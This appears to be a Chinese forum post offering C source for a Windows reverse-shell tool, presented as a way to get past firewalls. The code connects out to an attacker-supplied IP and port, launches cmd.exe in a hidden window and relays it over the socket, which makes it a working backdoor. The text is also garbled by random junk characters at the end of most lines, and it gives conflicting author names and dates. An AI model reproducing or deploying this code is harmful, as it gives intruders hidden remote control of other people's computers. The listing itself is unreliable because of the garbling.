这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =(.HO:#
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/* ============================== OC"W=[Myl
Rebound port in Windows NT J"I{0>@
By wind,2006/7 ^om(6JL2
===============================*/ !63x^# kg
#include ;Fp"]z!Qh+
#include '.d el7s
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#pragma comment(lib,"wsock32.lib") >qAQNX
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void OutputShell(); :;)K>g,b
SOCKET sClient; UT]LF#.(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #Z (B4YO
M2vYOg`t:c
void main(int argc,char **argv) sh E>gTe
{ "aAzG+NM
WSADATA stWsaData; CbI[K|
int nRet; z1(rHJd
SOCKADDR_IN stSaiClient,stSaiServer; vY}/CBmg
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if(argc != 3) =#n|t[h-
{ 5wiU4-{
printf("Useage:\n\rRebound DestIP DestPort\n"); VT;$:>!+
return; NfDg=[FN[
} p>65(&N,
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WSAStartup(MAKEWORD(2,2),&stWsaData); RzFv``g
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DoNbCVZ
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stSaiClient.sin_family = AF_INET; mqw&SxU9
stSaiClient.sin_port = htons(0); h-Ffs
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); VmV/~- <Z
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) D{ @x
{ F.^1|+96
printf("Bind Socket Failed!\n"); GC#3{71
return; b!ot%uZZ
} 5?%(j!p5
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stSaiServer.sin_family = AF_INET; j`='SzVloW
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WPCaxA+l
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ZU7,=B=
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) O .m;a_
{ <gQw4
printf("Connect Error!"); 9m%[
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return; b2r@vZ]D
} &37QUdp+p
OutputShell(); }_:^&cT
} IGOqV>;
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void OutputShell() Rco#?'
{ W?5^cEF
char szBuff[1024]; qZG "{8
SECURITY_ATTRIBUTES stSecurityAttributes; yG2j!D
OSVERSIONINFO stOsversionInfo; Nt'(JAZ;
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G8Ns?
STARTUPINFO stStartupInfo; y]+i.8[
char *szShell; \ C~Y
PROCESS_INFORMATION stProcessInformation; kd9hz-*
unsigned long lBytesRead; d7N}-nsB
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]k
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~X*)gS-=
stSecurityAttributes.lpSecurityDescriptor = 0; '8}*erAg
stSecurityAttributes.bInheritHandle = TRUE; ja#E}`wC4
: H0+} =
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E+]gC
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `N]!-=o
u-f_,],p
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^CDQ75tR
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !#5RP5,,Y
stStartupInfo.wShowWindow = SW_HIDE; ~OAS T
stStartupInfo.hStdInput = hReadPipe; Qf6Vj,~N
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; gle_~es'K
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GetVersionEx(&stOsversionInfo); A8dIL5
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switch(stOsversionInfo.dwPlatformId) [wj&.I{^s
{ {%)bxk6
case 1: Y2"X;`<
szShell = "command.com"; LIT{rR#8
break; wtu WzHrF
default: :1PT`:Y
szShell = "cmd.exe"; 1I<D
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break; D[-V1K&g
} 7D@O:yO
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); F)z]QJOw
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send(sClient,szMsg,77,0); `p|{(g'
while(1) 5<0&y3
{ <=W;z=$!Bb
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); T&H[JQ/h
if(lBytesRead) WSz#g2a
{ W`*S?QGzl@
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,JYvfCA
send(sClient,szBuff,lBytesRead,0); 4@&8jZ)a
} 'j 'bhG
else
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{ {r?O>KDQf(
lBytesRead=recv(sClient,szBuff,1024,0); jSsbLa@
if(lBytesRead<=0) break;
:,h47'0A
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); C4H M
} y)0r%=
} vUk <z*
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return; iSCv/Gb:,
}